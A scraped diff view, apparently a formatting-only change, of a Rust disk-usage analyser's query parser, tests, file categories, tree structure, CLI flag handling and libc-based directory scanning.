|| (c == b'&' && n == Some(b'&'))
|| (c == b'|' && n == Some(b'|'));
let op = &s[i..i + 1 + two as usize]; let op = &s[i..i + 1 + two as usize];
i += op.len(); i += op.len();
match op { match op {
+52 -11
View File
@@ -43,7 +43,10 @@ mod tests {
let n = t.node_mut(id); let n = t.node_mut(id);
n.size = size; n.size = size;
n.alloc = size; n.alloc = size;
n.mtime = (SystemTime::now() - age).duration_since(UNIX_EPOCH).unwrap().as_nanos() as i64; n.mtime = (SystemTime::now() - age)
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos() as i64;
n.cat = category_for(&ext(name.as_bytes()), false, false); n.cat = category_for(&ext(name.as_bytes()), false, false);
}; };
add(vms, "ubuntu.qcow2", 80 << 30, 400 * DAY); add(vms, "ubuntu.qcow2", 80 << 30, 400 * DAY);
@@ -58,7 +61,10 @@ mod tests {
fn names(tr: &Tree, q: &str) -> HashSet<String> { fn names(tr: &Tree, q: &str) -> HashSet<String> {
let pq = parse(q, SystemTime::now()).unwrap_or_else(|e| panic!("parse({q:?}): {e}")); let pq = parse(q, SystemTime::now()).unwrap_or_else(|e| panic!("parse({q:?}): {e}"));
let r = apply(&Cancel::new(), tr, Arc::new(pq), SizeMode::Logical).unwrap(); let r = apply(&Cancel::new(), tr, Arc::new(pq), SizeMode::Logical).unwrap();
(0..tr.len() as NodeId).filter(|&i| r.is_match(i)).map(|i| tr.node(i).name_str().into_owned()).collect() (0..tr.len() as NodeId)
.filter(|&i| r.is_match(i))
.map(|i| tr.node(i).name_str().into_owned())
.collect()
} }
#[test] #[test]
@@ -70,7 +76,10 @@ mod tests {
("size > 1GB", &["vms", "ubuntu.qcow2", "win.vmdk"]), ("size > 1GB", &["vms", "ubuntu.qcow2", "win.vmdk"]),
("size > 1GB AND type = file", &["ubuntu.qcow2", "win.vmdk"]), ("size > 1GB AND type = file", &["ubuntu.qcow2", "win.vmdk"]),
("ext = qcow2", &["ubuntu.qcow2"]), ("ext = qcow2", &["ubuntu.qcow2"]),
("size > 500MB AND ext IN (iso,qcow2,vmdk)", &["ubuntu.qcow2", "win.vmdk", "blob.iso"]), (
"size > 500MB AND ext IN (iso,qcow2,vmdk)",
&["ubuntu.qcow2", "win.vmdk", "blob.iso"],
),
("path contains cache", &["cache", "blob.iso", "x.tmp"]), ("path contains cache", &["cache", "blob.iso", "x.tmp"]),
("age > 365d", &["ubuntu.qcow2"]), ("age > 365d", &["ubuntu.qcow2"]),
("NOT type = dir AND size < 1k", &["notes.txt", "x.tmp"]), ("NOT type = dir AND size < 1k", &["notes.txt", "x.tmp"]),
@@ -91,16 +100,32 @@ mod tests {
let tr = tree(); let tr = tree();
let q = parse("name = vms OR ext = qcow2", SystemTime::now()).unwrap(); let q = parse("name = vms OR ext = qcow2", SystemTime::now()).unwrap();
let r = apply(&Cancel::new(), &tr, Arc::new(q), SizeMode::Logical).unwrap(); let r = apply(&Cancel::new(), &tr, Arc::new(q), SizeMode::Logical).unwrap();
assert_eq!(r.total, tr.node(1).tot_size, "matching dir must not double count matching child"); assert_eq!(
r.total,
tr.node(1).tot_size,
"matching dir must not double count matching child"
);
} }
#[test] #[test]
fn parse_errors() { fn parse_errors() {
for q in [ for q in [
"", "size >", "size > banana", "(ext = iso", "ext = iso)", "size contains 5", "",
"name matches '['", "type = blob", "'unterminated", "a & b", "category = nope", "size >",
"size > banana",
"(ext = iso",
"ext = iso)",
"size contains 5",
"name matches '['",
"type = blob",
"'unterminated",
"a & b",
"category = nope",
] { ] {
assert!(parse(q, SystemTime::now()).is_err(), "parse({q:?}) should fail"); assert!(
parse(q, SystemTime::now()).is_err(),
"parse({q:?}) should fail"
);
} }
} }
@@ -109,10 +134,20 @@ mod tests {
let tr = tree(); let tr = tree();
assert_eq!(names(&tr, "modified < 2000-01-01"), HashSet::new()); assert_eq!(names(&tr, "modified < 2000-01-01"), HashSet::new());
assert_eq!(names(&tr, "modified > '2000-01-01 9:30'").len(), 5); assert_eq!(names(&tr, "modified > '2000-01-01 9:30'").len(), 5);
assert_eq!(names(&tr, "modified > 2000-01-01T00:00:00.5+01:00").len(), 5); assert_eq!(
names(&tr, "modified > 2000-01-01T00:00:00.5+01:00").len(),
5
);
assert_eq!(names(&tr, "modified > 30d").len(), 4); assert_eq!(names(&tr, "modified > 30d").len(), 4);
for bad in ["modified > 2024-02-30", "modified > 2024-01-31T10:00", "ext = 'a['"] { for bad in [
assert!(parse(bad, SystemTime::now()).is_ok() == bad.ends_with("10:00"), "{bad}"); "modified > 2024-02-30",
"modified > 2024-01-31T10:00",
"ext = 'a['",
] {
assert!(
parse(bad, SystemTime::now()).is_ok() == bad.ends_with("10:00"),
"{bad}"
);
} }
assert!(names(&tr, "[").is_empty()); // malformed bare glob matches nothing assert!(names(&tr, "[").is_empty()); // malformed bare glob matches nothing
assert!(names(&tr, "voilà\u{a0}x").is_empty()); // Go's lexer hangs on byte 0xA0 assert!(names(&tr, "voilà\u{a0}x").is_empty()); // Go's lexer hangs on byte 0xA0
@@ -120,7 +155,13 @@ mod tests {
#[test] #[test]
fn parse_size_units() { fn parse_size_units() {
for (input, want) in [("1GB", 1_000_000_000), ("1GiB", 1 << 30), ("1.5k", 1536), ("500MB", 500_000_000), ("10", 10)] { for (input, want) in [
("1GB", 1_000_000_000),
("1GiB", 1 << 30),
("1.5k", 1536),
("500MB", 500_000_000),
("10", 10),
] {
assert_eq!(parse_size(input), Ok(want), "{input}"); assert_eq!(parse_size(input), Ok(want), "{input}");
} }
} }
+70 -17
View File
@@ -43,7 +43,8 @@ fn field_by_name(s: &str) -> Option<Field> {
} }
/// Field names for help text. /// Field names for help text.
pub const FIELDS: &str = "name path ext type category size allocated age modified owner group files flag"; pub const FIELDS: &str =
"name path ext type category size allocated age modified owner group files flag";
/// A compiled filter. /// A compiled filter.
pub struct Query { pub struct Query {
@@ -68,7 +69,12 @@ struct Parser {
/// Compiles a query. now anchors relative ages (pass SystemTime::now()). /// Compiles a query. now anchors relative ages (pass SystemTime::now()).
pub fn parse(s: &str, now: SystemTime) -> Result<Query, String> { pub fn parse(s: &str, now: SystemTime) -> Result<Query, String> {
let toks = lex(s)?; let toks = lex(s)?;
let mut p = Parser { toks, i: 0, uses_path: false, now }; let mut p = Parser {
toks,
i: 0,
uses_path: false,
now,
};
if p.peek().kind == TokKind::Eof { if p.peek().kind == TokKind::Eof {
return Err("empty query".into()); return Err("empty query".into());
} }
@@ -77,7 +83,11 @@ pub fn parse(s: &str, now: SystemTime) -> Result<Query, String> {
if t.kind != TokKind::Eof { if t.kind != TokKind::Eof {
return Err(format!("unexpected {:?} at {}", t.val, t.pos + 1)); return Err(format!("unexpected {:?} at {}", t.val, t.pos + 1));
} }
Ok(Query { src: s.to_string(), root, uses_path: p.uses_path }) Ok(Query {
src: s.to_string(),
root,
uses_path: p.uses_path,
})
} }
fn is_kw(t: &Token, kw: &str) -> bool { fn is_kw(t: &Token, kw: &str) -> bool {
@@ -193,7 +203,10 @@ impl Parser {
if f == Field::Path { if f == Field::Path {
self.uses_path = true; self.uses_path = true;
} }
if matches!(f, Field::Size | Field::Allocated | Field::Age | Field::Modified | Field::Files) { if matches!(
f,
Field::Size | Field::Allocated | Field::Age | Field::Modified | Field::Files
) {
let nop = match op.as_str() { let nop = match op.as_str() {
"=" | "in" => NumOp::Eq, "=" | "in" => NumOp::Eq,
"!=" => NumOp::Ne, "!=" => NumOp::Ne,
@@ -203,7 +216,10 @@ impl Parser {
"<=" => NumOp::Le, "<=" => NumOp::Le,
_ => return Err(format!("{op} cannot be used with numeric field")), _ => return Err(format!("{op} cannot be used with numeric field")),
}; };
let nums = vals.iter().map(|v| self.number(f, &v.val)).collect::<Result<Vec<_>, _>>()?; let nums = vals
.iter()
.map(|v| self.number(f, &v.val))
.collect::<Result<Vec<_>, _>>()?;
return Ok(Expr::Num(f, nop, nums)); return Ok(Expr::Num(f, nop, nums));
} }
// String-like fields. // String-like fields.
@@ -244,7 +260,11 @@ impl Parser {
} else { } else {
Expr::Eq(f, set) Expr::Eq(f, set)
}; };
Ok(if op == "!=" { Expr::Not(Box::new(n)) } else { n }) Ok(if op == "!=" {
Expr::Not(Box::new(n))
} else {
n
})
} }
_ => Err(format!("operator {op} not valid for {}", op_tok.val)), _ => Err(format!("operator {op} not valid for {}", op_tok.val)),
} }
@@ -256,7 +276,9 @@ impl Parser {
fn number(&self, f: Field, s: &str) -> Result<i64, String> { fn number(&self, f: Field, s: &str) -> Result<i64, String> {
match f { match f {
Field::Size | Field::Allocated => parse_size(s), Field::Size | Field::Allocated => parse_size(s),
Field::Files => s.parse::<i64>().map_err(|e| format!("bad number {s:?}: {e}")), Field::Files => s
.parse::<i64>()
.map_err(|e| format!("bad number {s:?}: {e}")),
Field::Age => parse_age(s).map(nanos), Field::Age => parse_age(s).map(nanos),
Field::Modified => { Field::Modified => {
if let Some(t) = parse_date(s) { if let Some(t) = parse_date(s) {
@@ -266,7 +288,9 @@ impl Parser {
let now = self.now.duration_since(UNIX_EPOCH).map(nanos).unwrap_or(0); let now = self.now.duration_since(UNIX_EPOCH).map(nanos).unwrap_or(0);
return Ok(now.saturating_sub(nanos(d))); return Ok(now.saturating_sub(nanos(d)));
} }
Err(format!("bad date {s:?} (use YYYY-MM-DD or an age like 30d)")) Err(format!(
"bad date {s:?} (use YYYY-MM-DD or an age like 30d)"
))
} }
_ => Err("not numeric".into()), _ => Err("not numeric".into()),
} }
@@ -285,7 +309,11 @@ pub(super) fn name_match(v: &str) -> Expr {
let lv = v.to_lowercase(); let lv = v.to_lowercase();
if has_glob(v) { if has_glob(v) {
// Go's filepath.Match never matches a malformed pattern. // Go's filepath.Match never matches a malformed pattern.
return if glob_ok(lv.as_bytes()) { Expr::Glob(Field::Name, lv) } else { Expr::False }; return if glob_ok(lv.as_bytes()) {
Expr::Glob(Field::Name, lv)
} else {
Expr::False
};
} }
Expr::Contains(Field::Name, lv) Expr::Contains(Field::Name, lv)
} }
@@ -365,7 +393,10 @@ fn flag_bit(s: &str) -> Option<Flags> {
/// Splits a leading run of digits and dots from s. /// Splits a leading run of digits and dots from s.
fn split_num(s: &str) -> (&str, &str) { fn split_num(s: &str) -> (&str, &str) {
let i = s.bytes().position(|c| !(c.is_ascii_digit() || c == b'.')).unwrap_or(s.len()); let i = s
.bytes()
.position(|c| !(c.is_ascii_digit() || c == b'.'))
.unwrap_or(s.len());
s.split_at(i) s.split_at(i)
} }
@@ -374,8 +405,14 @@ fn split_num(s: &str) -> (&str, &str) {
/// (textutil::set_si). /// (textutil::set_si).
pub fn parse_size(s: &str) -> Result<i64, String> { pub fn parse_size(s: &str) -> Result<i64, String> {
let (num, unit_raw) = split_num(s); let (num, unit_raw) = split_num(s);
let Ok(v) = num.parse::<f64>() else { return Err(format!("bad size {s:?}")) }; let Ok(v) = num.parse::<f64>() else {
let bare: f64 = if crate::textutil::si() { 1000.0 } else { 1024.0 }; return Err(format!("bad size {s:?}"));
};
let bare: f64 = if crate::textutil::si() {
1000.0
} else {
1024.0
};
let m = match unit_raw.trim().to_lowercase().as_str() { let m = match unit_raw.trim().to_lowercase().as_str() {
"" | "b" => 1.0, "" | "b" => 1.0,
"k" => bare, "k" => bare,
@@ -405,7 +442,9 @@ pub fn parse_size(s: &str) -> Result<i64, String> {
/// Parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y. /// Parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y.
pub fn parse_age(s: &str) -> Result<Duration, String> { pub fn parse_age(s: &str) -> Result<Duration, String> {
let (num, unit) = split_num(s); let (num, unit) = split_num(s);
let Ok(v) = num.parse::<f64>() else { return Err(format!("bad age {s:?}")) }; let Ok(v) = num.parse::<f64>() else {
return Err(format!("bad age {s:?}"));
};
const DAY: f64 = 86400.0; const DAY: f64 = 86400.0;
let secs = match unit.to_lowercase().as_str() { let secs = match unit.to_lowercase().as_str() {
"s" | "sec" => 1.0, "s" | "sec" => 1.0,
@@ -415,7 +454,11 @@ pub fn parse_age(s: &str) -> Result<Duration, String> {
"w" => 7.0 * DAY, "w" => 7.0 * DAY,
"m" | "mo" => 30.0 * DAY, "m" | "mo" => 30.0 * DAY,
"y" => 365.0 * DAY, "y" => 365.0 * DAY,
_ => return Err(format!("unknown age unit {unit:?} (s, min, h, d, w, mo, y)")), _ => {
return Err(format!(
"unknown age unit {unit:?} (s, min, h, d, w, mo, y)"
))
}
}; };
// Saturates where Go's time.Duration would overflow. // Saturates where Go's time.Duration would overflow.
Ok(Duration::from_nanos((v * secs * 1e9) as u64)) Ok(Duration::from_nanos((v * secs * 1e9) as u64))
@@ -428,10 +471,17 @@ fn parse_date(s: &str) -> Option<i64> {
let b = s.as_bytes(); let b = s.as_bytes();
let fixed = |i: usize, n: usize| -> Option<i64> { let fixed = |i: usize, n: usize| -> Option<i64> {
let d = b.get(i..i + n)?; let d = b.get(i..i + n)?;
d.iter().all(u8::is_ascii_digit).then(|| d.iter().fold(0, |a, &c| a * 10 + (c - b'0') as i64)) d.iter()
.all(u8::is_ascii_digit)
.then(|| d.iter().fold(0, |a, &c| a * 10 + (c - b'0') as i64))
}; };
let (y, mo, d) = (fixed(0, 4)?, fixed(5, 2)?, fixed(8, 2)?); let (y, mo, d) = (fixed(0, 4)?, fixed(5, 2)?, fixed(8, 2)?);
if b.get(4) != Some(&b'-') || b.get(7) != Some(&b'-') || !(1..=12).contains(&mo) || d < 1 || d > days_in(y, mo) { if b.get(4) != Some(&b'-')
|| b.get(7) != Some(&b'-')
|| !(1..=12).contains(&mo)
|| d < 1
|| d > days_in(y, mo)
{
return None; return None;
} }
if b.len() == 10 { if b.len() == 10 {
@@ -473,7 +523,10 @@ fn parse_date(s: &str) -> Option<i64> {
return None; return None;
} }
for k in 0..9 { for k in 0..9 {
ns = ns * 10 + b.get(i + 1 + k).filter(|_| k < n).map_or(0, |c| (c - b'0') as i64); ns = ns * 10
+ b.get(i + 1 + k)
.filter(|_| k < n)
.map_or(0, |c| (c - b'0') as i64);
} }
i += 1 + n; i += 1 + n;
} }
+32 -8
View File
@@ -23,14 +23,33 @@ pub enum Category {
pub const NUM_CATEGORIES: usize = 12; pub const NUM_CATEGORIES: usize = 12;
const CATEGORY_NAMES: [&str; NUM_CATEGORIES] = [ const CATEGORY_NAMES: [&str; NUM_CATEGORIES] = [
"Other", "Image", "Video", "Audio", "Archive", "Disk image", "Database", "Other",
"Source code", "Document", "Executable", "Log", "Cache", "Image",
"Video",
"Audio",
"Archive",
"Disk image",
"Database",
"Source code",
"Document",
"Executable",
"Log",
"Cache",
]; ];
const ALL: [Category; NUM_CATEGORIES] = [ const ALL: [Category; NUM_CATEGORIES] = [
Category::Other, Category::Image, Category::Video, Category::Audio, Category::Archive, Category::Other,
Category::DiskImage, Category::Database, Category::Code, Category::Document, Category::Image,
Category::Executable, Category::Log, Category::Cache, Category::Video,
Category::Audio,
Category::Archive,
Category::DiskImage,
Category::Database,
Category::Code,
Category::Document,
Category::Executable,
Category::Log,
Category::Cache,
]; ];
impl Category { impl Category {
@@ -98,8 +117,12 @@ fn ext_table() -> &'static HashMap<&'static str, Category> {
pub fn category_for(ext: &str, in_cache: bool, in_log: bool) -> Category { pub fn category_for(ext: &str, in_cache: bool, in_log: bool) -> Category {
let c = ext_table().get(ext).copied(); let c = ext_table().get(ext).copied();
match c { match c {
_ if in_cache && matches!(c, None | Some(Category::Other) | Some(Category::Code)) => Category::Cache, _ if in_cache && matches!(c, None | Some(Category::Other) | Some(Category::Code)) => {
_ if in_log && matches!(c, None | Some(Category::Archive) | Some(Category::Other)) => Category::Log, Category::Cache
}
_ if in_log && matches!(c, None | Some(Category::Archive) | Some(Category::Other)) => {
Category::Log
}
Some(c) => c, Some(c) => c,
None => Category::Other, None => Category::Other,
} }
@@ -114,7 +137,8 @@ pub fn path_hints(path: &[u8]) -> (bool, bool) {
continue; continue;
} }
match part.to_ascii_lowercase().as_slice() { match part.to_ascii_lowercase().as_slice() {
b"cache" | b".cache" | b"caches" | b"__pycache__" | b".npm" | b".gradle" | b"inetcache" | b"temp" | b"tmp" => in_cache = true, b"cache" | b".cache" | b"caches" | b"__pycache__" | b".npm" | b".gradle"
| b"inetcache" | b"temp" | b"tmp" => in_cache = true,
b"log" | b"logs" | b".logs" | b"journal" => in_log = true, b"log" | b"logs" | b".logs" | b"journal" => in_log = true,
_ => {} _ => {}
} }
+42 -9
View File
@@ -129,7 +129,10 @@ struct Chunked<T> {
impl<T> Chunked<T> { impl<T> Chunked<T> {
fn new() -> Self { fn new() -> Self {
Chunked { c: Vec::new(), n: 0 } Chunked {
c: Vec::new(),
n: 0,
}
} }
fn add(&mut self, v: T) -> u32 { fn add(&mut self, v: T) -> u32 {
if self.n & (CHUNK_SIZE - 1) == 0 && self.n >> CHUNK_BITS == self.c.len() { if self.n & (CHUNK_SIZE - 1) == 0 && self.n >> CHUNK_BITS == self.c.len() {
@@ -202,9 +205,22 @@ impl Tree {
next_sibling: NO_NODE, next_sibling: NO_NODE,
dir: 0, dir: 0,
name: name.into(), name: name.into(),
size: 0, alloc: 0, tot_size: 0, tot_alloc: 0, mtime: 0, size: 0,
files: 0, dirs: 0, errors: 0, mode: 0, uid: 0, gid: 0, nlink: 0, alloc: 0,
ext: 0, flags: 0, kind, cat: Category::Other, tot_size: 0,
tot_alloc: 0,
mtime: 0,
files: 0,
dirs: 0,
errors: 0,
mode: 0,
uid: 0,
gid: 0,
nlink: 0,
ext: 0,
flags: 0,
kind,
cat: Category::Other,
}; };
if kind == Kind::Dir { if kind == Kind::Dir {
n.dir = self.dirs.add([0; NUM_CATEGORIES]); n.dir = self.dirs.add([0; NUM_CATEGORIES]);
@@ -274,7 +290,10 @@ impl Tree {
/// Iterates the children of id (in reverse insertion order). /// Iterates the children of id (in reverse insertion order).
pub fn children(&self, id: NodeId) -> Children<'_> { pub fn children(&self, id: NodeId) -> Children<'_> {
Children { t: self, cur: self.node(id).first_child } Children {
t: self,
cur: self.node(id).first_child,
}
} }
pub fn child_count(&self, id: NodeId) -> usize { pub fn child_count(&self, id: NodeId) -> usize {
@@ -408,9 +427,17 @@ struct Shallow {
impl Node { impl Node {
fn clone_shallow(&self) -> Shallow { fn clone_shallow(&self) -> Shallow {
Shallow { Shallow {
parent: self.parent, dir: self.dir, tot_size: self.tot_size, tot_alloc: self.tot_alloc, parent: self.parent,
alloc: self.alloc, files: self.files, dirs: self.dirs, errors: self.errors, dir: self.dir,
flags: self.flags, kind: self.kind, cat: self.cat, tot_size: self.tot_size,
tot_alloc: self.tot_alloc,
alloc: self.alloc,
files: self.files,
dirs: self.dirs,
errors: self.errors,
flags: self.flags,
kind: self.kind,
cat: self.cat,
} }
} }
} }
@@ -471,7 +498,13 @@ mod tests {
#[test] #[test]
fn ext_and_category() { fn ext_and_category() {
for (input, want) in [("a.QCOW2", "qcow2"), (".bashrc", ""), ("noext", ""), ("x.tar.gz", "gz"), ("trail.", "")] { for (input, want) in [
("a.QCOW2", "qcow2"),
(".bashrc", ""),
("noext", ""),
("x.tar.gz", "gz"),
("trail.", ""),
] {
assert_eq!(ext(input.as_bytes()), want, "{input}"); assert_eq!(ext(input.as_bytes()), want, "{input}");
} }
assert_eq!(category_for("qcow2", false, false), Category::DiskImage); assert_eq!(category_for("qcow2", false, false), Category::DiskImage);
+16 -3
View File
@@ -47,7 +47,10 @@ pub struct TopK {
impl TopK { impl TopK {
pub fn new(k: usize) -> TopK { pub fn new(k: usize) -> TopK {
TopK { k, h: BinaryHeap::with_capacity(k.min(1 << 16)) } TopK {
k,
h: BinaryHeap::with_capacity(k.min(1 << 16)),
}
} }
pub fn offer(&mut self, id: NodeId, key: i64) { pub fn offer(&mut self, id: NodeId, key: i64) {
@@ -67,7 +70,11 @@ impl TopK {
/// The collected IDs, largest key first (ties by ID). /// The collected IDs, largest key first (ties by ID).
pub fn sorted(self) -> Vec<NodeId> { pub fn sorted(self) -> Vec<NodeId> {
// into_sorted_vec is ascending in Reverse order = descending key. // into_sorted_vec is ascending in Reverse order = descending key.
self.h.into_sorted_vec().into_iter().map(|Reverse((_, Reverse(id)))| id).collect() self.h
.into_sorted_vec()
.into_iter()
.map(|Reverse((_, Reverse(id)))| id)
.collect()
} }
} }
@@ -87,7 +94,13 @@ impl Tree {
/// The k nodes beneath (and including) root with the largest key, /// The k nodes beneath (and including) root with the largest key,
/// considering only nodes accepted by keep. /// considering only nodes accepted by keep.
pub fn top(&self, root: NodeId, k: usize, keep: impl Fn(&Node) -> bool, key: impl Fn(&Node) -> i64) -> Vec<NodeId> { pub fn top(
&self,
root: NodeId,
k: usize,
keep: impl Fn(&Node) -> bool,
key: impl Fn(&Node) -> i64,
) -> Vec<NodeId> {
let mut tk = TopK::new(k); let mut tk = TopK::new(k);
self.walk(root, |id, n| { self.walk(root, |id, n| {
if keep(n) { if keep(n) {
+37 -7
View File
@@ -18,13 +18,25 @@ pub const NUM_ERR_KINDS: usize = 5;
impl ErrKind { impl ErrKind {
pub fn from_u8(v: u8) -> ErrKind { pub fn from_u8(v: u8) -> ErrKind {
[ErrKind::Permission, ErrKind::Vanished, ErrKind::Io, ErrKind::Loop, ErrKind::Other] [
ErrKind::Permission,
ErrKind::Vanished,
ErrKind::Io,
ErrKind::Loop,
ErrKind::Other,
]
.get(v as usize) .get(v as usize)
.copied() .copied()
.unwrap_or(ErrKind::Other) .unwrap_or(ErrKind::Other)
} }
pub fn name(self) -> &'static str { pub fn name(self) -> &'static str {
["Permission denied", "Vanished during scan", "I/O error", "Symlink loop", "Other error"][self as usize] [
"Permission denied",
"Vanished during scan",
"I/O error",
"Symlink loop",
"Other error",
][self as usize]
} }
} }
@@ -89,11 +101,29 @@ pub struct Stats {
impl Default for Stats { impl Default for Stats {
fn default() -> Self { fn default() -> Self {
Stats { Stats {
root: Vec::new(), start: SystemTime::now(), end: None, complete: false, cancelled: false, root: Vec::new(),
files: 0, dirs: 0, symlinks: 0, others: 0, err_counts: [0; NUM_ERR_KINDS], errors: Vec::new(), start: SystemTime::now(),
excluded: 0, skipped_mounts: 0, virtual_skipped: 0, loops_skipped: 0, broken_links: 0, end: None,
hardlink_dups: 0, unscanned: 0, excludes: Vec::new(), one_file_system: false, complete: false,
follow: String::new(), workers: 0, from_snapshot: String::new(), cancelled: false,
files: 0,
dirs: 0,
symlinks: 0,
others: 0,
err_counts: [0; NUM_ERR_KINDS],
errors: Vec::new(),
excluded: 0,
skipped_mounts: 0,
virtual_skipped: 0,
loops_skipped: 0,
broken_links: 0,
hardlink_dups: 0,
unscanned: 0,
excludes: Vec::new(),
one_file_system: false,
follow: String::new(),
workers: 0,
from_snapshot: String::new(),
} }
} }
} }
+71 -13
View File
@@ -7,11 +7,36 @@ use std::path::Path;
/// Flags taking a value (Go's flag package: `-f v`, `-f=v`, `--f v`, `--f=v`). /// Flags taking a value (Go's flag package: `-f v`, `-f=v`, `--f v`, `--f=v`).
const VALUE_FLAGS: &[&str] = &[ const VALUE_FLAGS: &[&str] = &[
"workers", "follow-symlinks", "depth", "top", "largest-files", "save", "snapshot", "load", "scan", "workers",
"theme", "color", "log", "log-level", "exclude", "follow-symlinks",
"depth",
"top",
"largest-files",
"save",
"snapshot",
"load",
"scan",
"theme",
"color",
"log",
"log-level",
"exclude",
]; ];
/// Boolean flags (`-f`, `-f=false`). /// Boolean flags (`-f`, `-f=false`).
const BOOL_FLAGS: &[&str] = &["one-file-system", "x", "read-only", "no-ui", "json", "csv", "duplicates", "compare", "si", "apparent", "no-mouse", "version"]; const BOOL_FLAGS: &[&str] = &[
"one-file-system",
"x",
"read-only",
"no-ui",
"json",
"csv",
"duplicates",
"compare",
"si",
"apparent",
"no-mouse",
"version",
];
fn usage() { fn usage() {
let n = brand::NAME; let n = brand::NAME;
@@ -54,7 +79,10 @@ Flags:
} }
fn main() { fn main() {
std::process::exit(run(std::env::args_os().skip(1).map(|a| a.to_string_lossy().into_owned()).collect())); std::process::exit(run(std::env::args_os()
.skip(1)
.map(|a| a.to_string_lossy().into_owned())
.collect()));
} }
fn fail(msg: impl std::fmt::Display) -> i32 { fn fail(msg: impl std::fmt::Display) -> i32 {
@@ -74,7 +102,11 @@ fn run(args: Vec<String>) -> i32 {
positional.extend(it.by_ref()); positional.extend(it.by_ref());
break; break;
} }
let Some(flag) = a.strip_prefix("--").or_else(|| a.strip_prefix('-')).filter(|f| !f.is_empty() && a != "-") else { let Some(flag) = a
.strip_prefix("--")
.or_else(|| a.strip_prefix('-'))
.filter(|f| !f.is_empty() && a != "-")
else {
positional.push(a); positional.push(a);
continue; continue;
}; };
@@ -90,10 +122,17 @@ fn run(args: Vec<String>) -> i32 {
match inline.as_deref().map(str::parse::<bool>) { match inline.as_deref().map(str::parse::<bool>) {
None => bools.insert(n, true), None => bools.insert(n, true),
Some(Ok(v)) => bools.insert(n, v), Some(Ok(v)) => bools.insert(n, v),
Some(Err(_)) => return fail(format!("invalid boolean value {:?} for -{n}", inline.unwrap())), Some(Err(_)) => {
return fail(format!(
"invalid boolean value {:?} for -{n}",
inline.unwrap()
))
}
}; };
} else if let Some(&n) = VALUE_FLAGS.iter().find(|&&f| f == name) { } else if let Some(&n) = VALUE_FLAGS.iter().find(|&&f| f == name) {
let Some(v) = inline.or_else(|| it.next()) else { return fail(format!("flag needs an argument: -{n}")) }; let Some(v) = inline.or_else(|| it.next()) else {
return fail(format!("flag needs an argument: -{n}"));
};
if n == "exclude" { if n == "exclude" {
excludes.push(v); excludes.push(v);
} else { } else {
@@ -107,11 +146,20 @@ fn run(args: Vec<String>) -> i32 {
let b = |n: &str| bools.get(n).copied(); let b = |n: &str| bools.get(n).copied();
let v = |n: &str| vals.get(n).cloned(); let v = |n: &str| vals.get(n).cloned();
let int = |n: &str, d: i64| -> Result<i64, String> { let int = |n: &str, d: i64| -> Result<i64, String> {
v(n).map_or(Ok(d), |s| s.parse().map_err(|_| format!("invalid value {s:?} for flag -{n}: parse error"))) v(n).map_or(Ok(d), |s| {
s.parse()
.map_err(|_| format!("invalid value {s:?} for flag -{n}: parse error"))
})
}; };
if b("version") == Some(true) { if b("version") == Some(true) {
println!("{} {} ({}/{})", brand::NAME, brand::VERSION, std::env::consts::OS, std::env::consts::ARCH); println!(
"{} {} ({}/{})",
brand::NAME,
brand::VERSION,
std::env::consts::OS,
std::env::consts::ARCH
);
return 0; return 0;
} }
if let Some(e) = cfg_err { if let Some(e) = cfg_err {
@@ -143,7 +191,11 @@ fn run(args: Vec<String>) -> i32 {
color: v("color").unwrap_or_else(|| "auto".into()), color: v("color").unwrap_or_else(|| "auto".into()),
load: v("load").unwrap_or_default(), load: v("load").unwrap_or_default(),
save: v("save").or_else(|| v("snapshot")).unwrap_or_default(), save: v("save").or_else(|| v("snapshot")).unwrap_or_default(),
size_mode: if b("apparent").unwrap_or(settings.size_mode == "logical") { SizeMode::Logical } else { SizeMode::Allocated }, size_mode: if b("apparent").unwrap_or(settings.size_mode == "logical") {
SizeMode::Logical
} else {
SizeMode::Allocated
},
..Config::new(settings.clone()) ..Config::new(settings.clone())
}; };
if let Some(p) = v("scan") { if let Some(p) = v("scan") {
@@ -158,7 +210,10 @@ fn run(args: Vec<String>) -> i32 {
if positional.len() > 1 { if positional.len() > 1 {
return fail("only one path may be scanned at a time"); return fail("only one path may be scanned at a time");
} }
if positional.len() == 1 && cfg.load.is_empty() && snapshot::is_snapshot(Path::new(&positional[0])) { if positional.len() == 1
&& cfg.load.is_empty()
&& snapshot::is_snapshot(Path::new(&positional[0]))
{
cfg.load = positional.remove(0); cfg.load = positional.remove(0);
} else { } else {
cfg.paths = positional; cfg.paths = positional;
@@ -168,14 +223,17 @@ fn run(args: Vec<String>) -> i32 {
Ok(w) => w, Ok(w) => w,
Err(e) => return fail(e), Err(e) => return fail(e),
}; };
let follow = match scan::parse_follow(&v("follow-symlinks").unwrap_or_else(|| settings.follow_symlinks.clone())) { let follow = match scan::parse_follow(
&v("follow-symlinks").unwrap_or_else(|| settings.follow_symlinks.clone()),
) {
Ok(f) => f, Ok(f) => f,
Err(e) => return fail(e), Err(e) => return fail(e),
}; };
cfg.scan_opts = scan::Options { cfg.scan_opts = scan::Options {
workers, workers,
follow, follow,
one_file_system: b("one-file-system").unwrap_or(settings.one_file_system) || b("x").unwrap_or(false), one_file_system: b("one-file-system").unwrap_or(settings.one_file_system)
|| b("x").unwrap_or(false),
excludes, excludes,
..Default::default() ..Default::default()
}; };
+120 -24
View File
@@ -117,7 +117,12 @@ fn cvt(r: libc::c_int) -> io::Result<libc::c_int> {
fn open_dir(path: &[u8]) -> io::Result<OwnedFd> { fn open_dir(path: &[u8]) -> io::Result<OwnedFd> {
let c = cstr(path)?; let c = cstr(path)?;
let fd = cvt(unsafe { libc::open(c.as_ptr(), libc::O_RDONLY | libc::O_DIRECTORY | libc::O_CLOEXEC) })?; let fd = cvt(unsafe {
libc::open(
c.as_ptr(),
libc::O_RDONLY | libc::O_DIRECTORY | libc::O_CLOEXEC,
)
})?;
Ok(unsafe { OwnedFd::from_raw_fd(fd) }) Ok(unsafe { OwnedFd::from_raw_fd(fd) })
} }
@@ -129,7 +134,15 @@ fn stat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result<Meta> {
if !NO_STATX.load(Ordering::Relaxed) { if !NO_STATX.load(Ordering::Relaxed) {
let mut st: libc::statx = unsafe { std::mem::zeroed() }; let mut st: libc::statx = unsafe { std::mem::zeroed() };
let mask = libc::STATX_BASIC_STATS | libc::STATX_BTIME; let mask = libc::STATX_BASIC_STATS | libc::STATX_BTIME;
let r = unsafe { libc::statx(dirfd, name.as_ptr(), flags | libc::AT_STATX_DONT_SYNC, mask, &mut st) }; let r = unsafe {
libc::statx(
